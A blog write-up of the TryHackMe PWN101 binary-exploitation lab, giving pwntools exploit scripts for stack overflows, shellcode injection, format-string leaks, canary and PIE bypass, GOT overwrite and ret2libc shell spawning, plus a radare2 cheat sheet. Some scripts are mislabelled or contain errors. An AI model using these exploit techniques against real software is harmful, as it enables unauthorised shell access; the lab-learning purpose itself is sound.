Home (TryHackMe) - PWN101
Post
Cancel
image alternative text

(TryHackMe) - PWN101

This is all about Binary Exploitation. As i haven’t done that in a while i thought it would be nice to go back to TryHackMe and do some challenges there. I can only recommend the PWN101 as it’s about the right level for a refresher but it expects some knowledge to already be there so beware. Choose another room if you feel lost!

TOC

PWN101.pwn101 - Stack BOF - Straight to System Shell

This should give you a start: ‘AAAAAAAAAAA’

Challenge is running on port 9001

When we start the binary we see following text:

picture 2

Binary asks for input and prints something after we press enter.

picture 3

If we enter longer string, we get dropped to a shell

picture 4

File

1
2
luka@yurei:~/Desktop/thm$ file pwn101.pwn101 
pwn101.pwn101: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=dd42eee3cfdffb116dfdaa750dbe4cc8af68cf43, not stripped

Binary is dynamically linked and it’s not stripped

Checksec

picture 5

Disssasembly

picture 6

We have function gets which can get overflown buffer. Input comes from the variable var char +s @ rbp-0x40. With 40 bytes/characters we fill the buffer.

Right below we have compare function (an if statement): (dissasembly view below!)

picture 7

To solve the lab, we just need to overwrite the var_4h or the 0x539 value which resides at rbp-0x4.

picture 8

As our stack starts growing at rbp-0x40 we need to add somewhere beetween (0x40-0x4) and additional 1-3 Bytes to overwrite the var_4h.

Exploit (local)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *

context.binary = binary = './pwn101.pwn101'

padding_needed = 0x40-0x4
padding = "\x41"*padding_needed
junk = "\x42"

payload = padding + junk

proc = process('./pwn101.pwn101')
proc.recvline('Type the required ingredients to make briyani:')

proc.sendline(payload)
proc.interactive()

picture 9

Exploit (remote)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *

context.binary = binary = './pwn102.pwn102'

padding_range = 0x70-0x08
padding = "\x41"*padding_range

# code = 0x0000c0d3 => \xd3\xc0\x00\x00
# coffee = 0x00c0ff33 => \x33\xff\xc0\x00
code = "\xd3\xc0\x00\x00"
coffee = "\x33\xff\xc0\x00"

payload = padding + code + coffee

proc = process('./pwn102.pwn102')
proc.recvline('Am I right?')
proc.send(payload)
proc.recv()
proc.interactive()

picture 10

Binary has been pwned

PWN102 - Stack BOF - Simple Execution Flow Change

The challenge is running on port 9002

Let’s download the binary and check it locally.

It’s again a simple authentication that expect text input from us

picture 11

It’s not that simple to crash it as the binary in the PWN101 so we’re going to have a deeper look.

File

picture 12

Binary is dynamically linked and not stripped!

Checksec

picture 13

Dissasembly in cutter

Let’s load the binary into cutter and check the main function and start from there.

picture 14

We have 3 variables, 2 functions which are:

  • setup
  • banner

And there comes printf which might be interesting if any format string vulnerabilities are present. I’ll switch to Decompiler to have a better look.

picture 15

As it can be seen above, the printf is just printing strings.

Our input get’s however loaded to scanffunction, and there comes If statement into play.

First of all, scanf is vulnerable. I’ve loaded the breakpoint address from the if statement into GDB b *main+148 and did notice that some pointers and stack was overflown.

picture 16

Now onto the exploit.

Remember the variables:

  • var_4h = 0xbadf00d
  • var_8h = 0xfee1dead

Two subsequent IF statements want coffee and code:

  • var_4h == 0x00c0ff33
  • var_8h == 0x0000c0d3

If we calculate their positions, we can change the variables so we get that system call. We have c0f3 at ebp 0x70-0x8 and c0ff33 right afterwards (0x70-0x04).

Exploit (local)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *

context.binary = binary = './pwn102.pwn102'

padding_range = 0x70-0x08
padding = "\x41"*padding_range

# code = 0x0000c0d3 => \xd3\xc0\x00\x00
# coffee = 0x00c0ff33 => \x33\xff\xc0\x00
code = "\xd3\xc0\x00\x00"
coffee = "\x33\xff\xc0\x00"

payload = padding + code + coffee

proc = process('./pwn102.pwn102')
proc.recvline('Am I right?')
proc.send(payload)
proc.recv()
proc.interactive()

picture 17

Exploit (Remote)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import *

context.binary = binary = './pwn102.pwn102'

padding_range = 0x70-0x08
padding = "\x41"*padding_range

# code = 0x0000c0d3 => \xd3\xc0\x00\x00
# coffee = 0x00c0ff33 => \x33\xff\xc0\x00
code = "\xd3\xc0\x00\x00"
coffee = "\x33\xff\xc0\x00"

payload = padding + code + coffee

#proc = process('./pwn102.pwn102')
proc = remote('10.10.227.21',9002)
proc.recvline('Am I right?')
proc.send(payload)
proc.recv()
proc.interactive()

picture 18

PWN103 - Hijack Execution Flow (BOF) - Ret2Win

The challenge is running on port 9003

Simply by running the binary, we get a menu. While choosing 3) General we get Segmentation fault

picture 19

File

1
2
luka@yurei:~/Desktop/thm/pwn103$ file pwn103.pwn103 
pwn103.pwn103: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=3df2200610f5e40aa42eadb73597910054cf4c9f, for GNU/Linux 3.2.0, not stripped

Checksec

picture 20

Analysis

Let’s check decompiler first, for the sake of readibility, as the codebase is pretty big.

Main

We can see that we have switch. Spoler alert, the one with vulnerability is the General()!

picture 21

General

We have scanf function that takes our input…

picture 22

… and is declared as string format specifier. We can enter as much characters/bytes as we want.

picture 23

Note that in the end of the General function there is a compare, and if we check the address in hexdump, we’d find the string yes

picture 25

In addition to all of that, there is Admins_only function which is the one we want to solve this CTF

Admins_only

This is decompiled code

picture 26

How can we get into the Admins_only function? We can abuse scanf function in general. We can write to *s1 variable, which resides at rbp-0x20 . From there we can overwrite the return address of general function that was put onto the stack and make it return to Admins_only function instead.

In order to reach the return address, we need 8 more bytes (64-bit!) so 28 in total.

Because of MOVAPS issue we can add another RET instruction before actual payload call.

Exploit (local)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from pwn import *

context.binary = binary = ELF("./pwn103.pwn103")

#p = process()
p = remote("10.10.16.17",9003)

p.sendline(b"3")
#admins_only_address = p64(0x00401554)
# alternative call

admins_only_address = p64(binary.symbols.admins_only)

ret_instruction = p64(0x00401377)

# payload before MOVAPS - adding ret_instruction
#payload = b"A"*0x20 + b"B"*0x8 + admins_only_address

# payload after fixing the bug
payload = b"A"*0x20 + b"B"*0x8 + ret_instruction + admins_only_address


p.sendline(payload)

p.interactive()

Exploit (remote)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from pwn import *

context.binary = binary = ELF("./pwn103.pwn103")

#p = process()
p = remote("10.10.16.17",9003)

p.sendline(b"3")
#admins_only_address = p64(0x00401554)
# alternative call

admins_only_address = p64(binary.symbols.admins_only)

ret_instruction = p64(0x00401377)

# payload before MOVAPS - adding ret_instruction
#payload = b"A"*0x20 + b"B"*0x8 + admins_only_address

# payload after fixing the bug
payload = b"A"*0x20 + b"B"*0x8 + ret_instruction + admins_only_address

p.sendline(payload)

p.interactive()

picture 27

PWN104 - Stack BOF - Ret2Shellcode

The challenge is running on port 9004

After downloading the binary let’s check what that appliation does?

picture 28

Looks like another buffer overflow. When running binary few times, we can notice that that address that is provided to as in ... i'm waiting for you at... changes with every execution

picture 29

We have to deal with ASLR here. Another way to check this would be to check the address of Dynamic Linker

1
ldd pwn104.pwn104

Checksec and File check

picture 30

Analysis

picture 31

Buffer overflow is in the Read function So, we know what we will overwrite - Buffer (*buf) starts at rbp-0x50, but we musst know it’s address if we want to return to it.

Remember that binary is printing some addresses, but what is it printing exactly? => it’s the pointer to the buf ( see the printf function above)

Another thing to point out here is what gives us permission to execute custom shellcode from the stack? ==> NX is disabled!

This code was used to test the poinrer to the *buf position using the leak that is there to help us ;)

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *

context.binary = binary = ELF('./pwn104.pwn104')

p = process()

addr_leak = p.recv()

addr_main = addr_leak.split(b"at")[1].decode("utf-8")

print(addr_main)

# This prints the address in HEX format

Shellcode: https://www.exploit-db.com/exploits/42179

Exploit (local)

Notice how the leaked pointer address was splitted and converted to hexadecimal!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *

context.binary = binary = ELF('./pwn104.pwn104')
context.log_level = "debug"
# Size 23B - source: https://www.exploit-db.com/exploits/46907
shellcode=b"\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05"
p = process()

addr_leak = p.recv()

addr_buf_pointer = int(addr_leak.split(b"at")[1].strip().decode("utf-8"),16)

#print(addr_buf_pointer)

payload = shellcode + b"A"*(0x50 - len(shellcode)) + b"B"*0x8 + p64(addr_buf_pointer)

p.sendline(payload)

p.interactive()

Exploit (remote)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import *

context.binary = binary = ELF('./pwn104.pwn104')
#context.log_level = "debug"
# Size 23B - source: https://www.exploit-db.com/exploits/46907
shellcode=b"\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05"
p = process()
p = remote("10.10.109.228",9004)

p.recv()
addr_leak = p.recv()

addr_buf_pointer = int(addr_leak.split(b"at")[1].strip().decode("utf-8"),16)

#print(addr_buf_pointer)

payload = shellcode + b"A"*(0x50 - len(shellcode)) + b"B"*0x8 + p64(addr_buf_pointer)

p.sendline(payload)

p.interactive()

Same code was used for remotely, execpt there was another p.recv() needed which had to be debugged using context.log_level = "debug"

picture 32

PWN105 - Integer Overflow/Underflow

The challenge is running on port 9005

File and Checksec

picture 33

Analysis

There are no special functions of interest, so let us sheck the main function. There are 2 scanf which are the ones that load our input to memory.

picture 34

If we check the 0x000216f in hexdump we can see that both point to with %d format specifier. %d stands stands for signed integer (negative AND positive).

picture 35

  • 0x00012fb both values are added and are saved on 0x000012fd into var_ch.
  • 0x00001303 compares if both signs are positive

If we check the rest of the execution flows, we can locate system call which is where we want to get to.

picture 36

  • 0x0000130a - var_10h is checked again if signed = if positive

  • Regarding CMP operand at 0x0000130e:

    Compares the first source operand with the second source operand and sets the status flags in the EFLAGS register according to the results. The comparison is performed by subtracting the second operand from the first operand and then setting the status flags in the same manner as the SUB instruction. When an immediate value is used as an operand, it is sign-extended to the length of the first operand. … The CF, OF, SF, ZF, AF, and PF flags are set according to the result

    REFERENCE

  • 0x00001312 checks if signed (sf=1) => the result this is the point where we need negative result to get to the branch with system function

We are aiming at Integer overflow/underflow. I’ve personally had to deal with the same concept here: http://cybersec-research.space/posts/Bussines-Logic-Vulnerabilities/#low-level-logic-flaw—integer-overflow

If we overflow the left-most bit of the signed integer, we will endup with a negative value.

Exploit

To solve the lab we musst add (>=1) to the highest possible positive number of signed integer in 32-bit space => 2147483647

This will work on remote machine as well. picture 37

PWN106 - Format String Vulnerability - Reading the Stack

The challenge is running on port 9006

Download the lab and run it to check what we’re dealing with.

picture 38

We have print format vulnerability as we’re leaking memory as seen above.

File

64-bit, dynamically linked and not stripped

picture 39

Checksec

picture 40

Dissasembly

We can see flags placeholder on the stack, so we’ll try to leak memory here.

picture 41

Calling convention in x64 bit stack => RDI, RSI, RDX, RCX, R8, R9 and then Stack!

Exploit local

Link to calling convetion ==>

Let’s try to leak some data.

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *

context.binary = binary = './pwn106user.pwn106-user'

#payload = "%lX.%lX.%lX.%lX.%lX.%lX.%lX.%lX.%lX.%lX.%lX.%lX"
payload = "%6$lX.%7$lX.%8$lX.%9$lX.%a$lX"
conn = process('./pwn106user.pwn106-user')
conn.recv()
conn.sendline(payload)
result= conn.recvall()
print(result)

picture 42

Relevant data starts at 6th position until 10th. Bytes needs to be compared to actually match the ascii representations.

1
2
3
4
5
6
7
8
9
10
11
from pwn import *

context.binary = binary = './pwn106user.pwn106-user'
conn = remote('10.10.93.168',9006)
#payload = "%lX.%lX.%lX.%lX.%lX.%lX.%lX.%lX.%lX.%lX.%lX.%lX"
payload = "%6$lX.%7$lX.%8$lX.%9$lX.%10$lX.%11$lX"

conn.recv()
conn.sendline(payload)
result= conn.recvall()
print(result)

Using script we get the flag. Decoding was done using Cyberchef.

picture 43

Exploit Remote

1
Scripts comes here!

picture 44

Putting output to the cyberchef shows the flag.

picture 45

PWN107 - Format String Vulnerability - PIE and Canary Bypass

Download the lab and check what is all about

picture 46

Typing simple %x leaks a memory address.

picture 47

File

picture 48

Checksec

picture 49

Analysis

picture 50

The second variable *buf takes in 0x200 where only 0x20 were allocated to.

There is also a function that isn’t called from the execution flow perspective and this is the get_streak function which also has system function in it which calls shell.

picture 51

Canary resides at rbp-0x8 so in order to overwrite it we would need to know it’s value beforehand. Do we have Format String vulnerability before the Read function? Yes we do!

picture 52

To leak the addresses now, we need to start debugging. I’ll use radare2 debugger as razvi uses in his video https://www.youtube.com/watch?v=FpKL2cAlJbM

Start the binary: radare2 -d -A pwn107.pwn107

I’ll leave a cheat-sheet below because i also tend to forget the commands used for each debugger!

This is now main function loaded in radare2. Use pdf @ main to print it.

picture 53

Now let’s set the breakpoints where our printf vulnerability call starts and after it.

1
2
[0x7fa225a1e2b0]> db 0x557397c00a25
[0x7fa225a1e2b0]> db 0x557397c00a2a

Start with execution using dc

picture 54

As we’ve hit the breakpoint let’s read the stack using pxr @ rsp. Below i’ve raked the RSP and RBP pointers.Stack direction is displayed upside down!

picture 55

We can now see where canary and other variables are at, at this point of execution. Canary is at RBP-0x8. If we chose to overwrite it, we would also need to return back to the function (main).

We can’t use the return adress of main because this points to libc_so.6 so we need to return somewhere in the main function! We can use dm memory map to see to which process one address belongs.

picture 56

We should take one that belongs to pwn107.pwn107 and also stays on the on the stack after we write onto stack through read functon

Exploit - 1st Part => Format String Vulnerability Leak

Now to leak simple addresses we run into how-much-space-do-we-have problem. It’s 20Bytes.

picture 57

We leak the addresses from 6th position - Notice the 0x44434241!

If we now want to leak 7th and 11th position from top of the RSP (7th = canary, 11th = function to return to) we just need to add 6th. Let’s test this in debugger! We will leak 13th and 17th position respectively!

picture 58

Now after running following script, the leaks seem right

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
'''
Exploit starts with format string vulnerability with first entry (Read function). It can read only 20 Bytes.
It was calculated that canary leaks at 13th position 
and the function to return to at 17th.
'''
from pwn import *

context.binary = binary = ELF("./pwn107.pwn107",checksec=False)

# This serves just to get the offset from the start of the binary
static_libc_csu_address = binary.symbols.__libc_csu_init

print("Address of static libc csu init: {}".format(hex(static_libc_csu_address)))

p = process()
p.recvuntil(b"streak?")

payload = b"%13$lX.%17$lX"
p.sendline(payload)

p.recvuntil(b"streak:")

output = p.recv().split(b"\n")[0]

print(output)

picture 59

To fix the formatting of the leaked addresses, script was modified.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
'''
Exploit starts with format string vulnerability with first entry (Read function). It can read only 20 Bytes.
IT was calculated that canary leaks at 9th position and the function to return to at 17th.
'''
from pwn import *

context.binary = binary = ELF("./pwn107.pwn107",checksec=False)

# This serves just to get the offset from the start of the binary
static_libc_csu_address = binary.symbols.__libc_csu_init
static_main_address = binary.symbols.main

print("Address of static libc csu init: {}".format(hex(static_libc_csu_address)))
print("Address of static main function: {}".format(hex(static_main_address)))

p = process()
p.recvuntil(b"streak?")

payload = b"%13$lX.%17$lX"
p.sendline(payload)
#print("Payload to leak Canary and Func: {}".format(hex(payload)))
p.recvuntil(b"streak:")

output = p.recv().split(b"\n")[0]

print("Leaked Addresses (unformated): {}".format(output))

dynamic_main_address = int(output.split(b".")[1].strip(), 16)
canary_address = int(output.split(b".")[0].strip(), 16)

print("Dynamic Libc: {}".format(hex(dynamic_main_address)))
print("Canary: {}".format(hex(canary_address)))

# Output
#Leaked Addresses (unformated): b' 6C70AC6BD4259200.565120E00992'
#Dynamic Libc: 0x565120e00992
#Canary: 0x6c70ac6bd4259200

'''
In order to get the base address of the binary, we muss subtract static from dynamic address!
'''

dynamic_base_address = dynamic_main_address - static_main_address
binary.address = dynamic_base_address

print("New binary address starts now at: {}".format(hex(dynamic_base_address)))

# From this point on it's all about buffer overflow 

Important takeaway here is:

IF we substract static base address from dynamic address that was leaked, we get a base address of the binary.

I recommend following post which explains the offsets very well: https://www.politoinc.com/post/return-to-libc-linux-exploit-development

Exploit - 2nd Part = Buffer Overflow

Regarding Buffer oveflow this is the part where it happens:

1
2
3
; var const char *format @ rbp-0x40
; var void *buf @ rbp-0x20
; var int64_t canary @ rbp-0x8

picture 60

To recap, input will be put into *buf at rbp-0x20 and up to 200 bytes can be written. At rbp-0x8 we reach the canary, which we will need to rewrite.

To calculate the bytes we can use calculator which gives us 0x18

1
0x20 - 0x8 = 0x18

Or do it with python script directly.

picture 61

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
'''
Exploit starts with format string vulnerability with first entry (Read function). It can read only 20 Bytes.
IT was calculated that canary leaks at 9th position and the function to return to at 17th.
'''
from pwn import *

context.binary = binary = ELF("./pwn107.pwn107",checksec=False)

# This serves just to get the offset from the start of the binary
static_main_address = binary.symbols.main

print("Address of static libc csu init: {}".format(hex(static_libc_csu_address)))
print("Address of static main function: {}".format(hex(static_main_address)))

p = process()
p.recvuntil(b"streak?")

payload = b"%13$lX.%17$lX"
p.sendline(payload)
#print("Payload to leak Canary and Func: {}".format(hex(payload)))
p.recvuntil(b"streak: ")

output = p.recv().split(b"\n")[0]

print("Leaked Addresses (unformated): {}".format(output))

dynamic_main_address = int(output.split(b".")[1].strip(), 16)
canary_address = int(output.split(b".")[0].strip(), 16)

print("Dynamic Libc: {}".format(hex(dynamic_main_address)))
print("Canary: {}".format(hex(canary_address)))

# Output
#Leaked Addresses (unformated): b' 6C70AC6BD4259200.565120E00992'
#Dynamic main: 0x6c70ac6bd4259200
#Canary: 0x565120e00992

'''
In order to get the base address of the binary, we muss subtract static from dynamic address!
'''

dynamic_base_address = dynamic_main_address - static_main_address
binary.address = dynamic_base_address

print("New binary address starts now at: {}".format(hex(dynamic_base_address)))

# From this point on it's all about buffer overflow 
# Remember, we want to get into the get_streak function!
dynamic_get_streak = binary.symbols.get_streak

## Implant the RET Gadget since running it on Ubuntu
rop=ROP(binary)
ret_gadget= rop.find_gadget(['ret'])[0]

payload = b"A"*0x18 + p64(canary_address) + b"B"*8 + p64(ret_gadget) + p64(dynamic_get_streak)
p.sendline(payload)
p.interactive()

PWN108 - Format String Vulnerability - GOT Overwrite

Download the file and run it to see what we’re up against (in case we can notice something!)

picture 62

We are asked for 2 inputes (name, register no.). Name seems normal at the first glanze where Register No. leaks memory.

File

picture 63

Checksec

picture 64

Finding the vulnerability (Decompiler)

picture 65

So we’ve found the canary and where the vulnerability exists. At the end of the main function, there’s a IF statement

picture 66

One returns to some address and another one is a fail. This is canary check, but there is another function Holidays() which has system function in it. This is where we want to return!

picture 67

Regarding GOT overwrite itself. We will rewrite puts function as it does not appear in the holidays() function as printf does!

Exploitation

First we must find the position where our input get’s injected onto the stack.

picture 68

Let’s write the Puts GOT address into the 10th position using format string vulnerability

1
2
3
4
5
6
7
8
9
from pwn import *

context.binary = binary = ELF("./pwn108.pwn108", checksec=False)

# PWNTools will get the offset from the binary!
got_puts_address = binary.got.puts
print("GOT puts address has an offset of {}".format(hex(got_puts_address)))

junk_payload = b"A"*0x12

After Explanation from Razvi ==> https://www.youtube.com/watch?v=9SWYvhY5dYw&t=845s we can calculate the number of bytes to write by subtracting written bytes so far with desired value!.

Format specifier %x prints integers as hexadecimal!

1
payload = p64(got_puts_address) + b"%10$n"

Since put Address has 0x00 in it, we have to turn the payload around.

1
payload = b"%40X%12$nAAAAAAA" + p64(got_puts_address)

We need AAAAAAA in order to fill the bytes and with that our got_puts_address comes at the 12th position

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import *

context.binary = binary = ELF("./pwn108.pwn108", checksec=False)

# PWNTools will get the offset from the binary!
got_puts_address = binary.got.puts
print("GOT puts address has an offset of {}".format(hex(got_puts_address)))

#fill the read buffer. If my understanding is correct, we could also use readuntil from pwn tools and give an input here, but result should be the same.
junk_payload = b"A"*0x12

#payload = p64(got_puts_address) + b"%10$n"
#Turn the address around to avoid stopping reading because of null bytes
payload = b"%40X%12$nAAAAAAA" + p64(got_puts_address)
with open("payload", "wb") as f:
	f.write(junk_payload)
	f.write(payload)

The script above will write a payload to a file, which can be ingested to Radare2

Payload can be read in radare like this

1
radare2 -R stdin=payload -d -A pwn108.pwn108

Set breakpoints where vulnerable printf function resides and on the instruction after using db 0x12312312 command.

picture 69

We’ve hit the breakpoint. We can check if the location from puts has been filled using pxr @ section..got.plt

picture 70

If we continue the execution and check the puts value again in the got.plt we have the value that we’ve overwritten with, but only the first 4 bytes. This is because %n format specifier only writes 4 bytes by default.

picture 71

To overwrite the full value, we just have to conduct 2 writes instead of the single one.

Holiday() function starts at 0x40123b

To better understand this, i’ve used following resource which explains this topic really well: https://axcheron.github.io/exploit-101-format-strings/

We will rewrite the payload as following.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
from pwn import *

context.binary = binary = ELF("./pwn108.pwn108", checksec=False)

# PWNTools will get the offset from the binary!
got_puts_address = binary.got.puts
print("GOT puts address has an offset of {}".format(hex(got_puts_address)))

#fill the read buffer
junk_payload = b"A"*0x12

#payload = p64(got_puts_address) + b"%10$n"
#Turn the address around to avoid stopping reading because of null bytes

'''
Number of bytes to write = Desired value - bytes written so far

1st write = (0x40) 64 - 0 = 64
2st write = (0x123b) 4667 - 64 = 4603
'''
### AAA is used for padding 
payload = b"%64X%13$n" + b"%4603X%14$hnAAA" + p64(got_puts_address+2) + p64(got_puts_address)

'''
with open("payload", "wb") as f:
	f.write(junk_payload)
	f.write(payload)
'''

p = process()
p = remote("10.10.94.223",9008)
p.send(junk_payload)
p.send(payload)

p.interactive()

PWN109 - Stack BOF - Ret2Libc

The challenge is running on port 9009

Let’s download the binary and start it. Binary throws an Segmentation fault error if we add longer input

picture 72

File and Checksec

picture 73

Analysis

Cutter Dissasembly

picture 74

There are no other functions of our interest.

Vulnerable function gets is vulnerable to buffer overflow and is located at rbp-0x20. As there are no other functions, we need to leak libc address which has system function in it. to actually leak that, we’d need to use another function, like puts for which the offset is known

picture 75

As return to the main function will be necessary, we need gadgets to do that. I’ll strictly be following Razvi in his video https://www.youtube.com/watch?v=TTCz3kMutSs&t=850s and use ROPgadget to search for them.

1
ROPgadget --binary ./pwn109.pwn109 --depth 12 > gadgets.txt

As 64-bit saves data to registers (first one is RDI), the Gadget should do exactly that. E.g.,

1
0x00000000004012a3 : pop rdi ; ret

Leaking the addresses from stack

This script prints the values of all three functions

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from pwn import *

context.binary = binary = ELF("./pwn109.pwn109",checksec=False)

pop_rdi_ret = p64(0x00000000004012a3)
ret = p64(0x000000000040101a)
plt_puts = p64(binary.plt.puts)
got_puts = p64(binary.got.puts)
got_gets = p64(binary.got.gets)
got_setvbuf = p64(binary.got.setvbuf)

payload = b"A"*0x20
payload += b"B"*0x8
# We need to define what to actually print. Mind that data is stored in RDI, then the GOT Address and plt PUTS at last
payload += pop_rdi_ret + got_puts + plt_puts
payload += pop_rdi_ret + got_gets + plt_puts
payload += pop_rdi_ret + got_setvbuf + plt_puts

p = process()
p.recvuntil(b"ahead")
p.recv()
p.sendline(payload)
out = p.recv().split(b"\n")

leaked_puts_address = u64(out[0].ljust(8, b"\x00"))
leaked_gets_address = u64(out[1].ljust(8, b"\x00"))
leaked_setvbuf_address = u64(out[2].ljust(8, b"\x00"))

print("Leaked PUTS Address: {}".format(str(hex(leaked_puts_address))))
print("Leaked GETS Address: {}".format(str(hex(leaked_gets_address))))
print("Leaked SETVBUF Address: {}".format(str(hex(leaked_setvbuf_address))))

#p.interactive()
1
2
3
4
5
luka@yurei:~/Desktop/thm/pwn109$ python3 pwn109.py 
[+] Starting local process '/home/luka/Desktop/thm/pwn109/pwn109.pwn109': pid 105549
Leaked PUTS Address: 0x7fee0cd3ced0
Leaked GETS Address: 0x7fee0cd3c5a0
Leaked SETVBUF Address: 0x7fee0cd3d670

If i check remotely, the end addresses of the last 3 nibbles are always the same.

picture 76

We can determine which libc has been used, even online on like https://libc.tip or https://libc.nullbyte.cat which already displays offsets!

picture 77

Final Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
from pwn import *

context.binary = binary = ELF("./pwn109.pwn109",checksec=False)

pop_rdi_ret = p64(0x00000000004012a3)
ret = p64(0x000000000040101a)

main = p64(binary.symbols.main)
plt_puts = p64(binary.plt.puts)
got_puts = p64(binary.got.puts)
got_gets = p64(binary.got.gets)
got_setvbuf = p64(binary.got.setvbuf)

payload = b"A"*0x20
payload += b"B"*0x8
# We need to define what to actually print. Mind that data is stored in RDI, then the GOT Address and plt PUTS at last
payload += pop_rdi_ret + got_puts + plt_puts
payload += pop_rdi_ret + got_gets + plt_puts
payload += pop_rdi_ret + got_setvbuf + plt_puts
payload += main

p = process()
p=remote("10.10.178.191", 9009)
p.recvuntil(b"ahead")
p.recv()
p.sendline(payload)

out = p.recvall().split(b"\n")

# u64 does the opposite what p64 does. It unpacs from little endian 64bit
leaked_puts_address = u64(out[0].ljust(8, b"\x00"))
leaked_gets_address = u64(out[1].ljust(8, b"\x00"))
leaked_setvbuf_address = u64(out[2].ljust(8, b"\x00"))

print("Leaked PUTS Address: {}".format(str(hex(leaked_puts_address))))
print("Leaked GETS Address: {}".format(str(hex(leaked_gets_address))))
print("Leaked SETVBUF Address: {}".format(str(hex(leaked_setvbuf_address))))

# 2nd stage where we return to the main function, exploit gets once again and return to libc system to spawn a shell. Offsets below were gotten from libc.nullbyte.cat
'''
	system	0x04f550	-0x30c40
	gets	0x080190	0x0
	puts	0x080aa0	0x910
	setvbuf	0x0813d0	0x1240
	open	0x10fd10	0x8fb80
	read	0x110140	0x8ffb0
	write	0x110210	0x90080
	str_bin_sh	0x1b3e1a	0x133c8a
'''

payload = b"A"*0x20
payload += b"B"*0x8

# ubuntu needs ret!
payload += ret
payload += pop_rdi_ret + p64(leaked_gets_address + 0x133c8a)
payload += p64(leaked_gets_address - 0x30c40)

p.sendline(payload)
p.interactive()

PWN110 - todo

I’ve decided to do PWN110 at some later time, as i’ve not felt ready to build my own ROP Chains ;)

RADARE2 CheatSheet

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
# Start radare2
r2 -R stdin=payload -d -A ./babyecho

# disas
pdf @ main

# Set breakpoints, e.g., before and after the call
db 0x12312312

#prints stack at address
pxr @ 0xadresscomeshere

# Print section
pxr @ section..got.plt

#prints string at adress
ps @ 0xaddresscomeshere

#prints 30 bytes from rsp
pxr 30 @ rsp

#print registers
dr

#prints current section
iS.

#execution continue
dc

# Continue for 1 command
ds

-   `pxa @ rsp` - to show annotated hexdump
-   `pxw @ rsp` - to show hexadecimal words dump (32bit)
-   `pxq @ rsp` - to show hexadecimal quad-words dump (64bit)
-   `ad@r:SP` - to analyze the stack data
# Restart program
oo

# Display vaariables
avfd
.afvd local_4h

Random Scripts

Leak addresses - format string vuln

1
for i in `seq 1 20`; do timeout 1 echo -e "%$i\$lX" | nc -q 1 10.10.42.49 9007 | grep "Your current streak:";done
This post is licensed under CC BY 4.0 by the author.